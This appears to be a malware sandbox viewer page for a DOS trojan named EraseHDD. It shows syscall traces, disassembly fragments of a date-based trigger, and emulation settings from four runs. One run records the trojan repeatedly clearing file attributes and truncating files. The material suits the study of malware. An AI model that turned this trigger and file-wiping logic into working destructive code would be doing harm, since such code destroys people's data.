Sample viewer

vx.netlux.org/Trojan.DOS.EraseHDD.k

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:57.650514458Z 26 PC: 12a59 | Set disk transfer address
2018-12-17T22:35:57.652778129Z 25 PC: 12a5d | Get default drive
2018-12-17T22:35:57.653987449Z 71 PC: 12a68 | Get current directory
2018-12-17T22:35:57.65681485Z 59 PC: 12a6f | Change current directory
2018-12-17T22:35:57.662208273Z 78 PC: 12a79 | Find first file
2018-12-17T22:35:57.670291486Z 87 PC: 12b5c | Get or set file date and time
2018-12-17T22:35:57.672188837Z 67 PC: 12b68 | Get or set file attributes
2018-12-17T22:35:57.67466072Z 59 PC: 12b6f | Change current directory
2018-12-17T22:35:57.679492077Z 59 PC: 12b76 | Change current directory
2018-12-17T22:35:57.681594996Z 42 PC: 12b7a | Get date 0x12b7a: cmp cx, 0x7ce
0x12b7e: jb 0x12ba0
0x12b80: cmp dl, 0xf
0x12b83: jne 0x12ba3
0x12b85: cmp dl, 0x13
0x12b88: je 0x12be0
0x12b8a: cmp dl, 0x1d
0x12b8d: je 0x12bbe
0x12b8f: mov dx, 0x359
0x12b92: mov ah, 0x1a
0x12b94: int 0x21
0x12b96: mov ah, 0x4e
0x12b98: mov cx, 7
0x12b9b: mov dx, 0x313
0x12b9e: jmp 0x12ba6
0x12ba0: call 0x12c2e
0x12ba3: call 0x12c2e
0x12ba6: int 0x21
0x12ba8: jb 0x12ba3
0x12baa: mov ax, 0x4301
2018-12-17T22:35:57.684275037Z 76 PC: 12c33 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":15,"Month":1,"Year":1998,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6491,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:37.232055519Z 26 PC: 12a59 | Set disk transfer address
2018-12-25T11:59:37.233841163Z 25 PC: 12a5d | Get default drive
2018-12-25T11:59:37.235401279Z 71 PC: 12a68 | Get current directory
2018-12-25T11:59:37.238563576Z 59 PC: 12a6f | Change current directory
2018-12-25T11:59:37.24314237Z 78 PC: 12a79 | Find first file
2018-12-25T11:59:37.256987142Z 87 PC: 12b5c | Get or set file date and time
2018-12-25T11:59:37.258632118Z 67 PC: 12b68 | Get or set file attributes
2018-12-25T11:59:37.260813717Z 59 PC: 12b6f | Change current directory
2018-12-25T11:59:37.265852305Z 59 PC: 12b76 | Change current directory
2018-12-25T11:59:37.268112943Z 42 PC: 12b7a | Get date 0x12b7a: cmp cx, 0x7ce
0x12b7e: jb 0x12ba0
0x12b80: cmp dl, 0xf
0x12b83: jne 0x12ba3
0x12b85: cmp dl, 0x13
0x12b88: je 0x12be0
0x12b8a: cmp dl, 0x1d
0x12b8d: je 0x12bbe
0x12b8f: mov dx, 0x359
0x12b92: mov ah, 0x1a
0x12b94: int 0x21
0x12b96: mov ah, 0x4e
0x12b98: mov cx, 7
0x12b9b: mov dx, 0x313
0x12b9e: jmp 0x12ba6
0x12ba0: call 0x12c2e
0x12ba3: call 0x12c2e
0x12ba6: int 0x21
0x12ba8: jb 0x12ba3
0x12baa: mov ax, 0x4301
2018-12-25T11:59:37.270786998Z 26 PC: 12b96 | Set disk transfer address
2018-12-25T11:59:37.272972649Z 78 PC: 12ba8 | Find first file
2018-12-25T11:59:37.283373729Z 67 PC: 12bb1 | Get or set file attributes
2018-12-25T11:59:37.292419204Z 60 PC: 12bb8 | Create or truncate file
2018-12-25T11:59:37.315971919Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.318424101Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.327867476Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.339740813Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.348899179Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.358228549Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.371424227Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.374733003Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.384235427Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.396044004Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.399034435Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.408795871Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.421178545Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.424695375Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.43480552Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.446869118Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.450451646Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.460688139Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.4723271Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.475778273Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.485384506Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.497704681Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.500800051Z 67 PC: 12bb1 | Get or set file attributes (See above)
2018-12-25T11:59:37.510198857Z 60 PC: 12bb8 | Create or truncate file (See above)
2018-12-25T11:59:37.521901366Z 79 PC: 12ba8 | Find next file (See above)
2018-12-25T11:59:37.525220648Z 76 PC: 12c33 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6491,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:38.585654434Z 26 PC: 12a59 | Set disk transfer address
2018-12-25T11:59:38.59364848Z 25 PC: 12a5d | Get default drive
2018-12-25T11:59:38.594678799Z 71 PC: 12a68 | Get current directory
2018-12-25T11:59:38.59735189Z 59 PC: 12a6f | Change current directory
2018-12-25T11:59:38.601959984Z 78 PC: 12a79 | Find first file
2018-12-25T11:59:38.608053601Z 87 PC: 12b5c | Get or set file date and time
2018-12-25T11:59:38.609513096Z 67 PC: 12b68 | Get or set file attributes
2018-12-25T11:59:38.611611456Z 59 PC: 12b6f | Change current directory
2018-12-25T11:59:38.619397852Z 59 PC: 12b76 | Change current directory
2018-12-25T11:59:38.621249004Z 42 PC: 12b7a | Get date 0x12b7a: cmp cx, 0x7ce
0x12b7e: jb 0x12ba0
0x12b80: cmp dl, 0xf
0x12b83: jne 0x12ba3
0x12b85: cmp dl, 0x13
0x12b88: je 0x12be0
0x12b8a: cmp dl, 0x1d
0x12b8d: je 0x12bbe
0x12b8f: mov dx, 0x359
0x12b92: mov ah, 0x1a
0x12b94: int 0x21
0x12b96: mov ah, 0x4e
0x12b98: mov cx, 7
0x12b9b: mov dx, 0x313
0x12b9e: jmp 0x12ba6
0x12ba0: call 0x12c2e
0x12ba3: call 0x12c2e
0x12ba6: int 0x21
0x12ba8: jb 0x12ba3
0x12baa: mov ax, 0x4301
2018-12-25T11:59:38.623529885Z 76 PC: 12c33 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1998,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6491,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:38.753960997Z 26 PC: 12a59 | Set disk transfer address
2018-12-25T11:59:38.755832998Z 25 PC: 12a5d | Get default drive
2018-12-25T11:59:38.75727777Z 71 PC: 12a68 | Get current directory
2018-12-25T11:59:38.760584576Z 59 PC: 12a6f | Change current directory
2018-12-25T11:59:38.765557797Z 78 PC: 12a79 | Find first file
2018-12-25T11:59:38.772314492Z 87 PC: 12b5c | Get or set file date and time
2018-12-25T11:59:38.77426185Z 67 PC: 12b68 | Get or set file attributes
2018-12-25T11:59:38.776489807Z 59 PC: 12b6f | Change current directory
2018-12-25T11:59:38.78181911Z 59 PC: 12b76 | Change current directory
2018-12-25T11:59:38.783662811Z 42 PC: 12b7a | Get date 0x12b7a: cmp cx, 0x7ce
0x12b7e: jb 0x12ba0
0x12b80: cmp dl, 0xf
0x12b83: jne 0x12ba3
0x12b85: cmp dl, 0x13
0x12b88: je 0x12be0
0x12b8a: cmp dl, 0x1d
0x12b8d: je 0x12bbe
0x12b8f: mov dx, 0x359
0x12b92: mov ah, 0x1a
0x12b94: int 0x21
0x12b96: mov ah, 0x4e
0x12b98: mov cx, 7
0x12b9b: mov dx, 0x313
0x12b9e: jmp 0x12ba6
0x12ba0: call 0x12c2e
0x12ba3: call 0x12c2e
0x12ba6: int 0x21
0x12ba8: jb 0x12ba3
0x12baa: mov ax, 0x4301
2018-12-25T11:59:38.7859677Z 76 PC: 12c33 | Terminate with return code (Return code = '0')